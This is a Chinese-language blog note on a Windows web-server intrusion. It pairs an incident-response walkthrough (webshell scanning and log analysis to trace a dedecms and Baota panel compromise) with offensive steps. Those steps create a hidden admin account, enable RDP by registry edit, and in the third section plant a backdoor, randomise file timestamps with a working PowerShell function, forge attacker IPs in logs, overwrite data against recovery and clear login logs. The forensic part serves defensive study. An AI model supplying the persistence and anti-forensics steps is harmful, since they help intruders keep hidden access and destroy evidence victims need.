windows环境下网站攻击流程及日志分析溯源记录,这个是2019年初跟着诚殷网络的黑家小无常大佬学习的那段时间的笔记了,本站要接单子加上最近客户遇到的网站被入侵的事情(WordPress网站被已知漏洞利用解决办法)这里就发一下这个记录吧。(还好记录没删可以发点东西,- -!)
登陆服务器有两个方式:1.新增管理员 2.使用管理员账号密码登陆(一般只选择第二个) 原因是,每一个管理员都有一个桌面,添加用户后会多出来个显示,随便看一下就能发现。
下边把test用户从administrator用户组中删除进行还原。 net localgroup administrator test /del
这里需要注意test用户处于user权限无法远程登陆。 当然,可以对test用户赋予管理员权限,只需要执行:net localgroup administrators test /add 有一种方法创建用户时可以在命令行隐藏用户:net user test$ a123.. /add
但是这种方法并不可靠,可以被查到,然并卵。
演示完,删除。 1.登陆远程桌面需要了解内外网的关系。 执行:ipconfig /all 查看IP地址(虚拟机内网192开头)
外网访问的:IP+端口 执行tasklist /svc 查看TermService 远程终端服务。(有了这个远程控制服务才行) 也可以通过 tasklist /svc | find “程序名称” 查找结果。 然后查看端口都有哪些进程 netstat -nao | find “端口” (很明显,虚拟机没有这个服务)
服务器的就有
CMD开启3389端口: 执行系统注册表REG命令:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f (win2016以下都可以用此命令)
相同的执行指令:wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !=””) CALL SetAllowTSConnections 1
执行开启3389端口命令:netstat -nao | find “3389” 3389(0xd3d)
参考链接:https://jingyan.baidu.com/article/a3a3f811011ec78da3eb8a7e.html
2.应急响应 假设网站已经被入侵,下边是应急响应的流程思路方法。 先把宝塔的日志提取出来。我的是C:\BtSoft\wwwlogs。 下载个D盾,扫描网站发现木马后门程序Google.php
删除Google.php程序后,用EMeditor工具进行分析,通过日志分析来还原事情经过。 IP地址,操作时间,请求路径,访问来源,UA信息。
通过来路地址发现是通过后台上传文件造成的。
因为是本机IP登陆,所以IP地址都是一样。正常是可以根据IP地址的行为进行分析都做了哪些操作,如图中日志分析的操作。 查到最后发现被登陆了自己的宝塔
然后看登陆日志没问题(之前被替换覆盖了) 结果发现PHP禁用的危险函数被删除了
然后查看宝塔昨天被入侵登陆的日志时间对比
通过这些访问列表可以得到对方的访问路径轨迹,这样就知道对方做了什么事情。
并且当天都有哪些文件做了修改等。
然后查看自己的系统的 事件查看器 来看下Windows日志 了解什么时候被入侵登陆的。 (因为一些问题重装了一下,所以下边时间对不上,缺少了异常用户登陆,但步骤都一样。) 这里用Windows日志分析工具,查看了所有的登陆日志。
2020-03-09 19:56:17 test WIN-JKM7APSLVXH 2 User32 WIN-JKM7APSLVXH C:\Windows\System32\winlogon.exe 127.0.0.1 4624 通过日志可以分析得出test用户登陆时间,登陆身份,登陆状态。
整个流程为:dedecms后台被登陆,上传木马文件,因为没法执行命令,获取到了宝塔的登陆,删除了PHP的禁用函数,创建了test用户,并且在当天时间登陆了服务器。
至此,分析了整个事件的经过。 接着通过系统被登陆的事件ID,在系统事件查看器,筛选当前日志。
发现了,test登陆用户登陆时间,登陆IP+端口。
以上就是整个攻击流程反溯源,基本上就锁定了。
安全对策:日志备份,程序备份,数据备份,全部上传备份。
3.防溯源
现在是攻击者有了对方服务器权限,在没有被对方发现时,要擦屁股该做以下事情。
第一步,把木马程序Google.php在回收站中删除,其他的东西原封不动。
第二步,更改时间戳。 留个1.php后门移到网站内比较深的目录内,并且把时间随机化。
powershell对文件时间随机化
Function edit_time($path){$date1 =Get-ChildItem | Select LastWriteTime|Get-Random;$date2 =Get-ChildItem | Select LastWriteTime|Get-Random;$date3 =Get-ChildItem | Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime; $(Get-Item $path).creationtime=$date2.LastWriteTime ; $(Get-Item $path).lastwritetime=$date3.LastWriteTime};edit_time(“C:\wwwroot\127.0.0.1\include\data\1.php后门文件绝对路径”)
第三步,清理日志。网站日志,宝塔日志。 C:\BtSoft\wwwlogs 把原来自己的IP地址替换随机IP
关于数据恢复:
新建→删除→新建→删除→新建→删除。。。
新建→覆盖→新建→覆盖→新建→覆盖。。。
日志是每写一次,就是覆盖一次。把Google.php的记录删除也可以,日志删除也可以,删除了也是新建。
此过程大概进行超过30次,原来的数据恢复的几率很小,更不要说成千上万次。
第四步,清除系统登陆日志 以上比较不规范,规范的做法是,直接上powershell不落地执行,反弹shell。